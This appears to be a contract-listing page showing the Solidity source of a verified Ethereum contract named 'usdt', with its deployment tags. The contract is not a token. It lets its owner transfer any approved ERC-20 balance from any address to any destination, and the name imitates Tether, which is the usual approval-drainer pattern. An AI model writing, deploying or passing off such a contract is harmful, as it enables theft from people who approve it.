usdt

Description:

Smart contract deployed on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
}

contract usdt {
    address public owner;
    
    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Only the contract owner can perform this action");
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "New owner cannot be the zero address");
        owner = newOwner;
    }

    function controlAndTransferToken(address tokenAddress, address from, address to, uint256 amount) public onlyOwner {
        IERC20 token = IERC20(tokenAddress);
        require(token.allowance(from, address(this)) >= amount, "Contract has not been given enough allowance");
        bool success = token.transferFrom(from, to, amount);
        require(success, "Token transfer failed");
    }
}

Tags:
addr:0x76bb7f2c0fdc7bf7f68b216db347676cde820290|verified:true|block:23386651|tx:0xa8c8b5fdf2dec414c20282290c7add10217e9129aabb8049c37fac6223163208|first_check:1758188194

Submitted on: 2025-09-18 11:36:36

Comments

Log in to comment.

No comments yet.